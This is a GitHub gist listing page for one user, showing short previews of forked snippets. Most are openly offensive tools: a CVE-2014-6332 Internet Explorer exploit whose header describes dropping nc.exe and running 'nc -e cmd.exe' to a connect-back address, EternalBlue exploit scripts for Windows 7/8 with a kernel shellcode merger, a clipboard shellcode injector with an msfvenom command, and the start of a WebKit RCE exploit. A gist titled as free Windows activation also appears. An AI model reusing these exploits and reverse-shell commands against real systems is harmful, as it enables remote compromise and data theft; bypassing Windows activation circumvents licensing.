Skip to content

Instantly share code, notes, and snippets.

View hxlxmj's full-sized avatar
🚩
Capture The Flag !

Halim Jabbes hxlxmj

🚩
Capture The Flag !
35 followers · 166 following
View GitHub Profile
@hxlxmj
hxlxmj / file_magic_numbers.md
Created July 25, 2022 06:50 — forked from leommoore/file_magic_numbers.md
File Magic Numbers

File Magic Numbers

Magic numbers are the first bits of a file which uniquely identify the type of file. This makes programming easier because complicated file structures need not be searched in order to identify the file type.

For example, a jpeg file starts with ffd8 ffe0 0010 4a46 4946 0001 0101 0047 ......JFIF.....G ffd8 shows that it's a JPEG file, and ffe0 identify a JFIF type structure. There is an ascii encoding of "JFIF" which comes after a length code, but that is not necessary in order to identify the file. The first 4 bytes do that uniquely.

This gives an ongoing list of file-type magic numbers.

Image Files

@hxlxmj
hxlxmj / cve-2014-6332_exploit.html
Created August 5, 2022 01:44 — forked from worawit/cve-2014-6332_exploit.html
CVE-2014-6332 IE exploit to get shell (packed everything in one html)
<html>
<head>
<!--
CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
'server_ip' and 'server_port' in javascript below determined the connect back target
Tested on
- IE11 + Windows 7 64-bit (EPM is off)
- IE11 + Windoes 8.1 64-bit (EPM is off)
@hxlxmj
hxlxmj / eternalblue7_exploit.py
Created August 5, 2022 01:44 — forked from worawit/eternalblue7_exploit.py
Eternalblue exploit for Windows 7/2008
#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@hxlxmj
hxlxmj / eternalblue8_exploit.py
Created August 5, 2022 01:44 — forked from worawit/eternalblue8_exploit.py
Eternalblue exploit for Windows 8/2012
#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb, ntlm
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@hxlxmj
hxlxmj / eternalblue_merge_shellcode.py
Created August 5, 2022 01:44 — forked from worawit/eternalblue_merge_shellcode.py
Windows x64 and x86 kernel shellcode for eternalblue exploit
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
import sys
from struct import pack
if len(sys.argv) < 4:
print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
sys.exit()
sc_x86 = open(sys.argv[1], 'rb').read()
sc_x64 = open(sys.argv[2], 'rb').read()
@hxlxmj
hxlxmj / ClippyShellcodeInject.cs
Created August 14, 2022 04:55
Clipboard Shellcode Injection
// Using the clipboard as your code cave.
// Generate your shellcode with msfvenom or whatever
// Example: msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o <outputfile.bin>
// Compile: C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\ClippyShellcodeInject.cs
using System;
using System.IO;
using System.Runtime.InteropServices;
namespace ClippySCInject
@hxlxmj
hxlxmj / ProxyNotShell_exchangePowerShell_BlockNonAdmins.ps1
Created October 8, 2022 10:19 — forked from ConanChiles/ProxyNotShell_exchangePowerShell_BlockNonAdmins.ps1
ProxyNotShell - disable Exchange PowerShell access for all users, excluding Exchange admins (derived from Exchange roles)
<# block non-Exchange admins from PowerShell access in Exchange
ProxyNotShell
CVE-2022-41040
CVE-2022-41082f
some bypasses have been found for the IIS block rules.
need to hard block PowerShell for those that don't **need** it.
Exchange allows PowerShell by default, block by exception. Not ideal, but workable.
@hxlxmj
hxlxmj / Activate_Windows_10_and_11_Pro_free.md
Created October 9, 2022 12:40
Activate Windows 10 and 11 Pro free
@hxlxmj
hxlxmj / wazuhinstall.sh
Last active October 15, 2022 04:29 — forked from austinsonger/wazuhinstall.sh
Wazuh Install - Single Server
# Requirements
sudo apt install curl apt-transport-https unzip wget libcap2-bin software-properties-common lsb-release -y
sudo apt install gpgv gpgsm gnupg-l10n gnupg dirmngr -y
add-apt-repository ppa:openjdk-r/ppa
sudo apt update -y
sudo curl -so /etc/profile.d/myenvvars.sh https://gist.githubusercontent.com/austinsonger/2385ff1ef5ccb014aaed4d8684dd6e54/raw/e1d9b85b3383d1a50a54eac68ab7ad7c3e0c2797/myenvvars.sh
export JAVA_HOME=/usr/
sudo apt install openjdk-11-jdk -y
# Wazuh Prep
@hxlxmj
hxlxmj / fuck.js
Created November 19, 2022 15:14 — forked from ujin5/fuck.js
WebKit RCE on ios 14.1
function sleep( sleepDuration ){
var now = new Date().getTime();
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
}
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
let data_view = new DataView(new ArrayBuffer(8));